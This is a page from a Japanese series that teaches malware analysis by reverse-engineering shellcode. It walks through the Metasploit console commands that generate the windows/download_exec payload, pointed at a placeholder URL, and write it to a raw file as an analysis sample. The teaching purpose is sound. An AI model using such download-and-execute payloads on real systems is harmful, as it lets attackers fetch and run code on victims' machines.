検索
連載

シェルコードから始めるマルウェア解析リバースエンジニアリング入門(1)(2/2 ページ)

コンピュータウイルスの解析などに欠かせないリバースエンジニアリング技術ですが、何だか難しそうだな、という印象を抱いている人も多いのではないでしょうか。この連載では、「シェルコード」を例に、実践形式でその基礎を紹介していきます。(編集部)

PC用表示 関連情報
Share
Tweet
LINE
Hatena
前のページへ |       

Metasploitを使ったシェルコードの入手方法

 今後連載を進めていくにあたり、読者にも実際のシェルコードで試してもらいたいと考えています。そこでここでは、解析対象として使用するシェルコードをMetasploit Framework注3)を利用して取得する方法を解説します。

 Metasploit Frameworkはペネトレーションテスト用のツールとしてフリーで公開されているソフトウェアで、バージョン3.7.0では684種類の攻撃コード、217種類のペイロード(シェルコード)を同封しています。

 ここでは、Metasploitの持つシェルコードをファイルとして取り出す方法を説明します。なお、インストール方法は本記事の主旨とずれますので、ここでは割愛します。詳細はMetasploitのInstallation Guide(注4)を参照してください。

 インストールが完了したら、「Metasploit Console」を起動します(図3)。

図3 メニューからMetasploit Consoleを起動する
図3 メニューからMetasploit Consoleを起動する
msf > show payloads

 上記のようにコマンドを打つと、このMetasploitが持っているシェルコード(ペイロード)の一覧を見ることができます(図4)。

図4 このMetasploitが持っているシェルコード(ペイロード)の一覧表示(クリックすると拡大します)
図4 このMetasploitが持っているシェルコード(ペイロード)の一覧表示(クリックすると拡大します)

 ここではWindowsを対象とする基本的なシェルコードの1つであるdownload_execをファイルとして取り出してみたいと思います。まず、下記のようにコマンドを実行し、利用するペイロード(シェルコード)をセットします。

msf> use windows/download_exec

 次に、このpayloadにセットできるオプションを確認します。

msf payload(download_exec) > show options
Module options (payload/windows/download_exec):
   Name Current Setting Required Description
   ---- --------------- -------- -----------
   URL yes The pre-encoded URL to the executable

 これによるとURLという変数の設定が必須なので、ここでは、このURLに「http://hoge.com」とセットします。

msf payload(download_exec) > set URL http://hoge.com
URL => http://hoge.com

 これで準備は整いました。generateコマンドを利用してシェルコードをファイルに書き出します。ちなみにgenerateコマンドのヘルプは以下のようになっています。

msf payload(download_exec) > generate -h
Usage: generate [options]
Generates a payload.
OPTIONS:
    -E Force encoding.
    -b <opt> The list of characters to avoid: '\x00\xff'
    -e <opt> The name of the encoder module to use.
    -f <opt> The output file name (otherwise stdout)
    -h Help banner.
    -i <opt> the number of encoding iterations.
    -k Keep the template executable functional
    -o <opt> A comma separated list of options in VAR=VAL format.
    -p <opt> The Platform for output.
    -s <opt> NOP sled length.
    -t <opt> The output format: raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war
    -x <opt> The executable template to use

 シェルコードのみをファイルとして書き出したい場合は、「-t raw -f ファイル名」オプションで実行してください。

msf payload(download_exec) > generate -t raw -f download_exec.bin
[*] Writing 355 bytes to download_exec.bin...

 上記の例では、download_exec.binファイルにシェルコードを書き出しました。コマンド実行後にMetasploitをインストールしたフォルダの下の作業フォルダ(筆者の環境ではC:\Program Files (x86)\Rapid7\framework\msf3)を見てみると、download_exec.binが生成されていることが分かります。これがMetasploitから切り出したdownload_execのシェルコードになります。

 次回以降、このシェルコードを利用して、解析の基本的な知識やツールを紹介していきたいと思います。それでは、本日はこの辺で。

注3http://www.metasploit.com/(2011年5月12日時点での最新バージョン、v3.7.0を使用します)
注4http://dev.metasploit.com/redmine/projects/framework/wiki/Install_Windows

筆者紹介

NTT情報流通プラットフォーム研究所

川古谷 裕平(かわこや ゆうへい)

2005年 日本電信電話株式会社入社。入社以来、ハニーポット技術やマルウェア解析技術の研究開発に従事。国内外のカンファレンスや学会で研究成果の発表を行っている。「アナライジング・マルウェア」の著者。



前のページへ |       

Copyright © ITmedia, Inc. All Rights Reserved.

Security & Trust 記事ランキング

ページトップに戻る